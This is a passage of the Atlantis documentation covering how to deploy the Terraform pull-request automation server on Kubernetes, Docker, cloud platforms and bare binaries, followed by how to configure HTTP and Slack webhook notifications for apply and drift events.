variables yourself using the `extra_args` configuration. Next Steps [​](https://www.runatlantis.io/docs/provider-credentials#next-steps) -------------------------------------------------------------------------------- * If you want to configure Atlantis further, read [Configuring Atlantis](https://www.runatlantis.io/docs/configuring-atlantis) * If you're ready to use Atlantis, read [Using Atlantis](https://www.runatlantis.io/docs/using-atlantis) --- # Deployment | Atlantis [Skip to content](https://www.runatlantis.io/docs/deployment#VPContent) On this page Deployment [​](https://www.runatlantis.io/docs/deployment#deployment) ====================================================================== This page covers getting Atlantis up and running in your infrastructure. Prerequisites * You have created [access credentials](https://www.runatlantis.io/docs/access-credentials) for your Atlantis user * You have created a [webhook secret](https://www.runatlantis.io/docs/webhook-secrets) Architecture Overview [​](https://www.runatlantis.io/docs/deployment#architecture-overview) -------------------------------------------------------------------------------------------- ### Runtime [​](https://www.runatlantis.io/docs/deployment#runtime) Atlantis is a simple [Go](https://golang.org/) app. It receives webhooks from your Git host and executes Terraform commands locally. There is an official Atlantis [Docker image](https://ghcr.io/runatlantis/atlantis) . ### Routing [​](https://www.runatlantis.io/docs/deployment#routing) Atlantis and your Git host need to be able to route and communicate with one another. Your Git host needs to be able to send webhooks to Atlantis and Atlantis needs to be able to make API calls to your Git host. If you're using a public Git host like github.com, gitlab.com, gitea.com, bitbucket.org, or dev.azure.com then you'll need to expose Atlantis to the internet. If you're using a private Git host like GitHub Enterprise, GitLab Enterprise, self-hosted Gitea or Bitbucket Server, then Atlantis needs to be routable from the private host and Atlantis will need to be able to route to the private host. ### Data [​](https://www.runatlantis.io/docs/deployment#data) Atlantis has no external database. Atlantis stores Terraform plan files on disk. If Atlantis loses that data in between a `plan` and `apply` cycle, then users will have to re-run `plan`. Because of this, you may want to provision a persistent disk for Atlantis. Deployment [​](https://www.runatlantis.io/docs/deployment#deployment-1) ------------------------------------------------------------------------ Pick your deployment type: * [Kubernetes Helm Chart](https://www.runatlantis.io/docs/deployment#kubernetes-helm-chart) * [Kubernetes Manifests](https://www.runatlantis.io/docs/deployment#kubernetes-manifests) * [Kubernetes Kustomize](https://www.runatlantis.io/docs/deployment#kubernetes-kustomize) * [OpenShift](https://www.runatlantis.io/docs/deployment#openshift) * [AWS Fargate](https://www.runatlantis.io/docs/deployment#aws-fargate) * [Google Kubernetes Engine (GKE)](https://www.runatlantis.io/docs/deployment#google-kubernetes-engine-gke) * [Docker](https://www.runatlantis.io/docs/deployment#docker) * [Roll Your Own](https://www.runatlantis.io/docs/deployment#roll-your-own) ### Kubernetes Helm Chart [​](https://www.runatlantis.io/docs/deployment#kubernetes-helm-chart) Atlantis has an [official Helm chart](https://github.com/runatlantis/helm-charts/tree/main/charts/atlantis) To install: 1. Add the runatlantis helm chart repository to helm bash helm repo add runatlantis https://runatlantis.github.io/helm-charts 2. `cd` into a directory where you're going to configure your Atlantis Helm chart 3. Create a `values.yaml` file by running bash helm inspect values runatlantis/atlantis > values.yaml 4. Edit `values.yaml` and add your access credentials and webhook secret yaml # for example github: user: foo token: bar secret: baz 5. Edit `values.yaml` and set your `orgAllowlist` (see [Repo Allowlist](https://www.runatlantis.io/docs/server-configuration#repo-allowlist) for more information) yaml orgAllowlist: github.com/runatlantis/* **Note**: For helm chart version < `4.0.2`, `orgWhitelist` must be used instead. 6. Configure any other variables (see [Atlantis Helm Chart: Customization](https://github.com/runatlantis/helm-charts#customization) for documentation) 7. Run sh helm install atlantis runatlantis/atlantis -f values.yaml If you are using helm v2, run: sh helm install -f values.yaml runatlantis/atlantis Atlantis should be up and running in minutes! See [Next Steps](https://www.runatlantis.io/docs/deployment#next-steps) for what to do next. ### Kubernetes Manifests [​](https://www.runatlantis.io/docs/deployment#kubernetes-manifests) If you'd like to use a raw Kubernetes manifest, we offer either a [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or a [Statefulset](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/) with persistent storage. StatefulSet is recommended because Atlantis stores its data on disk and so if your Pod dies or you upgrade Atlantis, you won't lose plans that haven't been applied. If you do lose that data, you just need to run `atlantis plan` again so it's not the end of the world. Regardless of whether you choose a Deployment or StatefulSet, first create a Secret with the webhook secret and access token: bash echo -n "yourtoken" > token echo -n "yoursecret" > webhook-secret kubectl create secret generic atlantis-vcs --from-file=token --from-file=webhook-secret Next, edit the manifests below as follows: 1. Replace `` in `image: ghcr.io/runatlantis/atlantis:` with the most recent version from [GitHub: Atlantis latest release](https://github.com/runatlantis/atlantis/releases/latest) . * NOTE: You never want to run with `:latest` because if your Pod moves to a new node, Kubernetes will pull the latest image and you might end up upgrading Atlantis by accident! 2. Replace `value: github.com/yourorg/*` under `name: ATLANTIS_REPO_ALLOWLIST` with the allowlist pattern for your Terraform repos. See [\--repo-allowlist](https://www.runatlantis.io/docs/server-configuration#repo-allowlist) for more details. 3. If you're using GitHub: 1. Replace `` with the username of your Atlantis GitHub user without the `@`. 2. Delete all the `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 4. If you're using GitLab: 1. Replace `` with the username of your Atlantis GitLab user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITEA_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 5. If you're using Gitea: 1. Replace `` with the username of your Atlantis Gitea user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 6. If you're using Bitbucket: 1. Replace `` with the username of your Atlantis Bitbucket user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 7. If you're using Azure DevOps: 1. Replace `` with the username of your Atlantis Azure DevOps user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, and `ATLANTIS_BITBUCKET_*` environment variables. #### StatefulSet Manifest [​](https://www.runatlantis.io/docs/deployment#statefulset-manifest) Show... yaml apiVersion: apps/v1 kind: StatefulSet metadata: name: atlantis spec: serviceName: atlantis replicas: 1 updateStrategy: type: RollingUpdate rollingUpdate: partition: 0 selector: matchLabels: app.kubernetes.io/name: atlantis template: metadata: labels: app.kubernetes.io/name: atlantis spec: securityContext: fsGroup: 1000 # Atlantis group (1000) read/write access to volumes. containers: - name: atlantis image: ghcr.io/runatlantis/atlantis:v # 1. Replace with the most recent release. env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. ### GitHub Config ### - name: ATLANTIS_GH_USER value: # 3i. If you're using GitHub replace with the username of your Atlantis GitHub user without the `@`. - name: ATLANTIS_GH_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GH_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitHub Config ### ### GitLab Config ### - name: ATLANTIS_GITLAB_USER value: # 4i. If you're using GitLab replace with the username of your Atlantis GitLab user without the `@`. - name: ATLANTIS_GITLAB_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITLAB_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitLab Config ### ### Gitea Config ### - name: ATLANTIS_GITEA_USER value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. - name: ATLANTIS_GITEA_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITEA_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End Gitea Config ### ### Bitbucket Config ### - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. - name: ATLANTIS_BITBUCKET_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_BITBUCKET_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End Bitbucket Config ### ### Azure DevOps Config ### - name: ATLANTIS_AZUREDEVOPS_USER value: # 6i. If you're using Azure DevOps replace with the username of your Atlantis Azure DevOps user without the `@`. - name: ATLANTIS_AZUREDEVOPS_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_USER valueFrom: secretKeyRef: name: atlantis-vcs key: basic-user - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD valueFrom: secretKeyRef: name: atlantis-vcs key: basic-password ### End Azure DevOps Config ### - name: ATLANTIS_DATA_DIR value: /atlantis - name: ATLANTIS_PORT value: "4141" # Kubernetes sets an ATLANTIS_PORT variable so we need to override. volumeMounts: - name: atlantis-data mountPath: /atlantis ports: - name: atlantis containerPort: 4141 resources: requests: memory: 256Mi cpu: 100m limits: memory: 256Mi cpu: 100m livenessProbe: # We only need to check every 60s since Atlantis is not a # high-throughput service. periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP readinessProbe: periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP volumeClaimTemplates: - metadata: name: atlantis-data spec: accessModes: ["ReadWriteOnce"] # Volume should not be shared by multiple nodes. resources: requests: # The biggest thing Atlantis stores is the Git repo when it checks it out. # It deletes the repo after the pull request is merged. storage: 5Gi --- apiVersion: v1 kind: Service metadata: name: atlantis spec: type: ClusterIP ports: - name: atlantis port: 80 targetPort: 4141 selector: app.kubernetes.io/name: atlantis #### Deployment Manifest [​](https://www.runatlantis.io/docs/deployment#deployment-manifest) Show... yaml apiVersion: apps/v1 kind: Deployment metadata: name: atlantis labels: app.kubernetes.io/name: atlantis spec: replicas: 1 selector: matchLabels: app.kubernetes.io/name: atlantis template: metadata: labels: app.kubernetes.io/name: atlantis spec: containers: - name: atlantis image: ghcr.io/runatlantis/atlantis:v # 1. Replace with the most recent release. env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. ### GitHub Config ### - name: ATLANTIS_GH_USER value: # 3i. If you're using GitHub replace with the username of your Atlantis GitHub user without the `@`. - name: ATLANTIS_GH_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GH_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitHub Config ### ### GitLab Config ### - name: ATLANTIS_GITLAB_USER value: # 4i. If you're using GitLab replace with the username of your Atlantis GitLab user without the `@`. - name: ATLANTIS_GITLAB_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITLAB_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitLab Config ### ### Gitea Config ### - name: ATLANTIS_GITEA_USER value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. - name: ATLANTIS_GITEA_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITEA_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End Gitea Config ### ### Bitbucket Config ### - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. - name: ATLANTIS_BITBUCKET_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token ### End Bitbucket Config ### ### Azure DevOps Config ### - name: ATLANTIS_AZUREDEVOPS_USER value: # 6i. If you're using Azure DevOps replace with the username of your Atlantis Azure DevOps user without the `@`. - name: ATLANTIS_AZUREDEVOPS_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_USER valueFrom: secretKeyRef: name: atlantis-vcs key: basic-user - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD valueFrom: secretKeyRef: name: atlantis-vcs key: basic-password ### End Azure DevOps Config ### - name: ATLANTIS_PORT value: "4141" # Kubernetes sets an ATLANTIS_PORT variable so we need to override. ports: - name: atlantis containerPort: 4141 resources: requests: memory: 256Mi cpu: 100m limits: memory: 256Mi cpu: 100m livenessProbe: # We only need to check every 60s since Atlantis is not a # high-throughput service. periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP readinessProbe: periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP --- apiVersion: v1 kind: Service metadata: name: atlantis spec: type: ClusterIP ports: - name: atlantis port: 80 targetPort: 4141 selector: app.kubernetes.io/name: atlantis #### Routing and SSL [​](https://www.runatlantis.io/docs/deployment#routing-and-ssl) The manifests above create a Kubernetes `Service` of `type: ClusterIP` which isn't accessible outside your cluster. Depending on how you're doing routing into Kubernetes, you may want to use a Service of `type: LoadBalancer` so that Atlantis is accessible to GitHub/GitLab and your internal users. If you want to add SSL you can use something like [cert-manager](https://github.com/cert-manager/cert-manager) to generate SSL certs and mount them into the Pod. Then set the `ATLANTIS_SSL_CERT_FILE` and `ATLANTIS_SSL_KEY_FILE` environment variables to enable SSL. You could also set up SSL at your LoadBalancer. **You're done! See [Next Steps](https://www.runatlantis.io/docs/deployment#next-steps) for what to do next.** ### Kubernetes Kustomize [​](https://www.runatlantis.io/docs/deployment#kubernetes-kustomize) A `kustomization.yaml` file is provided in the directory `kustomize/`, so you may use this repository as a remote base for deploying Atlantis with Kustomize. You will need to provide a secret (with the default name of `atlantis-vcs`) to configure Atlantis with access credentials for your remote repositories. Example: yaml bases: - github.com/runatlantis/atlantis//kustomize resources: - secrets.yaml **Important:** You must ensure you patch the provided manifests with the correct environment variables for your installation. You can create inline patches from your `kustomization.yaml` file such as below: yaml patchesStrategicMerge: - |- apiVersion: apps/v1 kind: StatefulSet metadata: name: atlantis spec: template: spec: ... #### Required [​](https://www.runatlantis.io/docs/deployment#required) yaml ... containers: - name: atlantis env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. #### GitLab [​](https://www.runatlantis.io/docs/deployment#gitlab) yaml ... containers: - name: atlantis env: - name: ATLANTIS_GITLAB_USER value: # 4i. If you're using GitLab replace with the username of your Atlantis GitLab user without the `@`. - name: ATLANTIS_GITLAB_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITLAB_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret #### Gitea [​](https://www.runatlantis.io/docs/deployment#gitea) yaml containers: - name: atlantis env: - name: ATLANTIS_GITEA_USER value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. - name: ATLANTIS_GITEA_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITEA_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret #### GitHub [​](https://www.runatlantis.io/docs/deployment#github) yaml ... containers: - name: atlantis env: - name: ATLANTIS_GH_USER value: # 3i. If you're using GitHub replace with the username of your Atlantis GitHub user without the `@`. - name: ATLANTIS_GH_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GH_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret #### BitBucket [​](https://www.runatlantis.io/docs/deployment#bitbucket) yaml ... containers: - name: atlantis env: - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. - name: ATLANTIS_BITBUCKET_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token ### OpenShift [​](https://www.runatlantis.io/docs/deployment#openshift) The Helm chart and Kubernetes manifests above are compatible with OpenShift, however you need to run with an additional environment variable: `HOME=/home/atlantis`. This is required because OpenShift runs Docker images with random user id's that use `/` as their home directory. ### AWS Fargate [​](https://www.runatlantis.io/docs/deployment#aws-fargate) If you'd like to run Atlantis on [AWS Fargate](https://aws.amazon.com/fargate/) check out the Atlantis module on the [Terraform Module Registry](https://registry.terraform.io/modules/terraform-aws-modules/atlantis/aws/latest) and then check out the [Next Steps](https://www.runatlantis.io/docs/deployment#next-steps) . ### Google Kubernetes Engine (GKE) [​](https://www.runatlantis.io/docs/deployment#google-kubernetes-engine-gke) You can run Atlantis on GKE using the [Helm chart](https://www.runatlantis.io/docs/deployment#kubernetes-helm-chart) or the [manifests](https://www.runatlantis.io/docs/deployment#kubernetes-manifests) . There is also a set of full Terraform configurations that create a GKE Cluster, Cloud Storage Backend and TLS certs: [sethvargo atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke) . Once you're done, see [Next Steps](https://www.runatlantis.io/docs/deployment#next-steps) . ### Google Compute Engine (GCE) [​](https://www.runatlantis.io/docs/deployment#google-compute-engine-gce) Atlantis can be run on Google Compute Engine using a Terraform module that deploys it as a Docker container on a managed Compute Engine instance. This [Terraform module](https://registry.terraform.io/modules/runatlantis/atlantis/gce/latest) features the creation of a Cloud load balancer, a Container-Optimized OS-based VM, a persistent data disk, and a managed instance group. After it is deployed, see [Next Steps](https://www.runatlantis.io/docs/deployment#next-steps) . ### Docker [​](https://www.runatlantis.io/docs/deployment#docker) Atlantis has an [official](https://ghcr.io/runatlantis/atlantis) Docker image: `ghcr.io/runatlantis/atlantis`. #### Customization [​](https://www.runatlantis.io/docs/deployment#customization) If you need to modify the Docker image that we provide, for instance to add the terragrunt binary, you can do something like this: 1. Create a custom docker file dockerfile FROM ghcr.io/runatlantis/atlantis:{latest version} # copy a terraform binary of the version you need USER root COPY terragrunt /usr/local/bin/terragrunt USER atlantis Beginning with version 0.26.0, the Atlantis image has been updated to run under the atlantis user, replacing the previous root user configuration. This change necessitates adjustments in existing container definitions and scripts to accommodate the new user settings. In scenarios where additional packages from other images are required, users can temporarily switch to the root user by inserting USER root in the Dockerfile. Following the installation of necessary packages, it is advisable to revert to the atlantis user for initiating the Atlantis service. Additionally, the /docker-entrypoint.d/ directory offers a flexible option for introducing extra scripts to be executed prior to the launch of the Atlantis server. This feature is particularly beneficial for users seeking to customize their Atlantis instance without the need to develop a dedicated pipeline. **Important Notice**: There is a critical update regarding the data directory in Atlantis. In versions prior to 0.26.0, the directory was configured to be accessible by the root user. However, with the transition to the atlantis user in newer versions, it is imperative to update the directory permissions accordingly in your current deployment when upgrading to a version later than 0.26.0. This step ensures seamless access and functionality for the atlantis user. 1. Build your Docker image bash docker build -t {YOUR_DOCKER_ORG}/atlantis-custom . 2. Run your image bash docker run {YOUR_DOCKER_ORG}/atlantis-custom server --gh-user=GITHUB_USERNAME --gh-token=GITHUB_TOKEN ### Microsoft Azure [​](https://www.runatlantis.io/docs/deployment#microsoft-azure) The standard [Kubernetes Helm Chart](https://www.runatlantis.io/docs/deployment#kubernetes-helm-chart) should work fine on [Azure Kubernetes Service](https://docs.microsoft.com/en-us/azure/aks/intro-kubernetes) . Another option is [Azure Container Instances](https://docs.microsoft.com/en-us/azure/container-instances/) . See this community member's [repo](https://github.com/jplane/atlantis-on-aci) or the new and more up-to-date [Terraform module](https://github.com/getindata/terraform-azurerm-atlantis) for install scripts and more information on running Atlantis on ACI. **Note on ACI Deployment:** Due to a bug in earlier Docker releases, Docker v23.0.0 or later is required for straightforward deployment. Alternatively, the Atlantis Docker image can be pushed to a private registry such as ACR and then used. ### Roll Your Own [​](https://www.runatlantis.io/docs/deployment#roll-your-own) If you want to roll your own Atlantis installation, you can get the `atlantis` binary from [GitHub](https://github.com/runatlantis/atlantis/releases) or use the [official Docker image](https://ghcr.io/runatlantis/atlantis) . #### Startup Command [​](https://www.runatlantis.io/docs/deployment#startup-command) The exact flags to `atlantis server` depends on your Git host: ##### GitHub [​](https://www.runatlantis.io/docs/deployment#github-1) bash atlantis server \ --atlantis-url="$URL" \ --gh-user="$USERNAME" \ --gh-token="$TOKEN" \ --gh-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ##### GitHub Enterprise [​](https://www.runatlantis.io/docs/deployment#github-enterprise) bash HOSTNAME=YOUR_GITHUB_ENTERPRISE_HOSTNAME # ex. github.runatlantis.io or tenant.ghe.com atlantis server \ --atlantis-url="$URL" \ --gh-user="$USERNAME" \ --gh-token="$TOKEN" \ --gh-webhook-secret="$SECRET" \ --gh-hostname="$HOSTNAME" \ --repo-allowlist="$REPO_ALLOWLIST" For GitHub Enterprise Cloud, set `--gh-hostname` to the tenant hostname, such as `tenant.ghe.com`, without `https://` or an `api.` prefix. ##### GitLab [​](https://www.runatlantis.io/docs/deployment#gitlab-1) bash atlantis server \ --atlantis-url="$URL" \ --gitlab-user="$USERNAME" \ --gitlab-token="$TOKEN" \ --gitlab-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ##### GitLab Enterprise [​](https://www.runatlantis.io/docs/deployment#gitlab-enterprise) bash HOSTNAME=YOUR_GITLAB_ENTERPRISE_HOSTNAME # ex. gitlab.runatlantis.io atlantis server \ --atlantis-url="$URL" \ --gitlab-user="$USERNAME" \ --gitlab-token="$TOKEN" \ --gitlab-webhook-secret="$SECRET" \ --gitlab-hostname="$HOSTNAME" \ --repo-allowlist="$REPO_ALLOWLIST" ##### Gitea [​](https://www.runatlantis.io/docs/deployment#gitea-1) bash GITEA_BASE_URL=YOUR_GITEA_BASE_URL # ex. https://gitea.example.com:3000 atlantis server \ --atlantis-url="$URL" \ --gitea-user="$USERNAME" \ --gitea-token="$TOKEN" \ --gitea-base-url="$GITEA_BASE_URL" \ --gitea-webhook-secret="$SECRET" \ --gitea-page-size=30 \ --repo-allowlist="$REPO_ALLOWLIST" ##### Bitbucket Cloud (bitbucket.org) [​](https://www.runatlantis.io/docs/deployment#bitbucket-cloud-bitbucket-org) bash atlantis server \ --atlantis-url="$URL" \ --bitbucket-user="$USERNAME" \ --bitbucket-token="$TOKEN" \ --bitbucket-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ##### Bitbucket Server (aka Stash) [​](https://www.runatlantis.io/docs/deployment#bitbucket-server-aka-stash) bash BASE_URL=YOUR_BITBUCKET_SERVER_URL # ex. http://bitbucket.mycorp:7990 atlantis server \ --atlantis-url="$URL" \ --bitbucket-user="$USERNAME" \ --bitbucket-token="$TOKEN" \ --bitbucket-webhook-secret="$SECRET" \ --bitbucket-base-url="$BASE_URL" \ --repo-allowlist="$REPO_ALLOWLIST" ##### Azure DevOps [​](https://www.runatlantis.io/docs/deployment#azure-devops) A certificate and private key are required if using Basic authentication for webhooks. bash atlantis server \ --atlantis-url="$URL" \ --azuredevops-user="$USERNAME" \ --azuredevops-token="$TOKEN" \ --azuredevops-webhook-user="$ATLANTIS_AZUREDEVOPS_WEBHOOK_USER" \ --azuredevops-webhook-password="$ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD" \ --repo-allowlist="$REPO_ALLOWLIST" --ssl-cert-file=file.crt --ssl-key-file=file.key Where * `$URL` is the URL that Atlantis can be reached at * `$USERNAME` is the GitHub/GitLab/Gitea/Bitbucket/AzureDevops username you generated the token for * `$TOKEN` is the access token you created. If you don't want this to be passed in as an argument for security reasons you can specify it in a config file (see [Configuration](https://www.runatlantis.io/docs/server-configuration#environment-variables) ) or as an environment variable: `ATLANTIS_GH_TOKEN` or `ATLANTIS_GITLAB_TOKEN` or `ATLANTIS_GITEA_TOKEN` or `ATLANTIS_BITBUCKET_TOKEN` or `ATLANTIS_AZUREDEVOPS_TOKEN` * `$SECRET` is the random key you used for the webhook secret. If you don't want this to be passed in as an argument for security reasons you can specify it in a config file (see [Configuration](https://www.runatlantis.io/docs/server-configuration#environment-variables) ) or as an environment variable: `ATLANTIS_GH_WEBHOOK_SECRET` or `ATLANTIS_GITLAB_WEBHOOK_SECRET` or `ATLANTIS_GITEA_WEBHOOK_SECRET` * `$REPO_ALLOWLIST` is which repos Atlantis can run on, ex. `github.com/runatlantis/*` or `github.enterprise.corp.com/*`. See [\--repo-allowlist](https://www.runatlantis.io/docs/server-configuration#repo-allowlist) for more details. Atlantis is now running! TIP We recommend running it under something like Systemd or Supervisord that will restart it in case of failure. Next Steps [​](https://www.runatlantis.io/docs/deployment#next-steps) ---------------------------------------------------------------------- * To ensure Atlantis is running, load its UI. By default Atlantis runs on port `4141`. * Now you're ready to add Webhooks to your repos. See [Configuring Webhooks](https://www.runatlantis.io/docs/configuring-webhooks) . --- # Sending notifications via webhooks | Atlantis [Skip to content](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#VPContent) On this page Sending notifications via webhooks [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#sending-notifications-via-webhooks) ============================================================================================================================================== It is possible to send notifications to external systems whenever an apply is being done or drift is detected. You can make requests to any HTTP endpoint or send messages directly to your Slack channel. NOTE The `apply` and `drift` events are supported. Configuration [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#configuration) ---------------------------------------------------------------------------------------------------- Webhooks are configured in Atlantis [server-side configuration](https://www.runatlantis.io/docs/server-configuration) . There can be many webhooks: sending notifications to different destinations or for different workspaces/branches. Here is example configuration to send Slack messages for every apply: yaml webhooks: - event: apply kind: slack channel: my-channel-id If you are deploying Atlantis as a Helm chart, this can be implemented via the `config` parameter available for [chart customizations](https://github.com/runatlantis/helm-charts#customization) : yaml ## Use Server Side Config, ## ref: https://www.runatlantis.io/docs/server-configuration.html config: | --- webhooks: - event: apply kind: slack channel: my-channel-id ### Filter on workspace/branch [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#filter-on-workspace-branch) To limit notifications to particular workspaces or branches, use `workspace-regex` or `branch-regex` parameters. If the workspace **and** branch matches respective regex, an event will be sent. Note that empty regular expression (a result of unset parameter) matches every string. Using HTTP webhooks [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#using-http-webhooks) ---------------------------------------------------------------------------------------------------------------- You can send POST requests with JSON payload to any HTTP/HTTPS server. ### Configuring Atlantis [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#configuring-atlantis) In your Atlantis [server-side configuration](https://www.runatlantis.io/docs/server-configuration) you can add the following: yaml webhooks: - event: apply kind: http url: https://example.com/hooks The `apply` event information will be POSTed to `https://example.com/hooks`. You can supply any additional headers with `--webhook-http-headers` parameter (or environment variable), for example for authentication purposes. See [webhook-http-headers](https://www.runatlantis.io/docs/server-configuration#webhook-http-headers) for details. ### JSON payload [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#json-payload) The payload is a JSON-marshalled [ApplyResult](https://pkg.go.dev/github.com/runatlantis/atlantis/server/events/webhooks#ApplyResult) struct. Example payload: json { "Workspace": "default", "Repo": { "FullName": "octocat/Hello-World", "Owner": "octocat", "Name": "Hello-World", "CloneURL": "https://:@github.com/octocat/Hello-World.git", "SanitizedCloneURL": "https://:@github.com/octocat/Hello-World.git", "VCSHost": { "Hostname": "github.com", "Type": 0 } }, "Pull": { "Num": 2137, "HeadCommit": "7fd1a60b01f91b314f59955a4e4d4e80d8edf11d", "URL": "https://github.com/octocat/Hello-World/pull/2137", "HeadBranch": "feature/some-branch", "BaseBranch": "main", "Author": "octocat", "Body": "This is the pull request description.", "State": 0, "BaseRepo": { "FullName": "octocat/Hello-World", "Owner": "octocat", "Name": "Hello-World", "CloneURL": "https://:@github.com/octocat/Hello-World.git", "SanitizedCloneURL": "https://:@github.com/octocat/Hello-World.git", "VCSHost": { "Hostname": "github.com", "Type": 0 } } }, "User": { "Username": "octocat", "Teams": null }, "Success": true, "Directory": "terraform/example", "ProjectName": "example-project" } For apply events from pull requests, `Pull.HeadBranch` is the source branch from the pull request and `Pull.Body` is the pull request description when the VCS provider supplies one. Using Slack hooks [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#using-slack-hooks) ------------------------------------------------------------------------------------------------------------ For this you'll need to: * Create a Bot user in Slack * Configure Atlantis to send notifications to Slack. ### Configuring Slack for Atlantis [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#configuring-slack-for-atlantis) * Go to [Slack: Apps](https://api.slack.com/apps) * Click the `Create New App` button * Select `From scratch` in the dialog that opens * Give it a name, e.g. `atlantis-bot`. * Select your Slack workspace * Click `Create App` * On the left go to `oAuth & Permissions` * Scroll down to Scopes | Bot Token Scopes and add the following OAuth scopes: * `channels:read` * `chat:write` * `groups:read` * `incoming-webhook` * `mpim:read` * Install the app onto your Slack workspace * Copy the `Bot User OAuth Token` and provide it to Atlantis by using `--slack-token=xoxb-xxxxxxxxxxx` or via the environment `ATLANTIS_SLACK_TOKEN=xoxb-xxxxxxxxxxx`. * Create a channel in your Slack workspace (e.g. `my-channel`) or use existing * Add the app to Created channel or existing channel ( click channel name then tab integrations, there Click "Add apps" ### Configuring Atlantis [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#configuring-atlantis-1) After following the above steps it is time to configure Atlantis. Assuming you have already provided the `slack-token` (via parameter or environment variable) you can now instruct Atlantis to send `apply` events to Slack. In your Atlantis [server-side configuration](https://www.runatlantis.io/docs/server-configuration) you can now add the following: yaml webhooks: - event: apply kind: slack channel: my-channel-id Slack apply messages for pull requests include a `Branch` field using the pull request head branch, and include a `Description` field when the pull request has a description. Drift detection webhooks [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#drift-detection-webhooks) -------------------------------------------------------------------------------------------------------------------------- When [drift detection](https://www.runatlantis.io/docs/api-endpoints#post-apidriftdetect) is enabled (`--enable-drift-detection`), you can configure webhooks to be notified whenever drift detection completes successfully. Drift webhooks are sent automatically after successful `POST /api/drift/detect` requests, 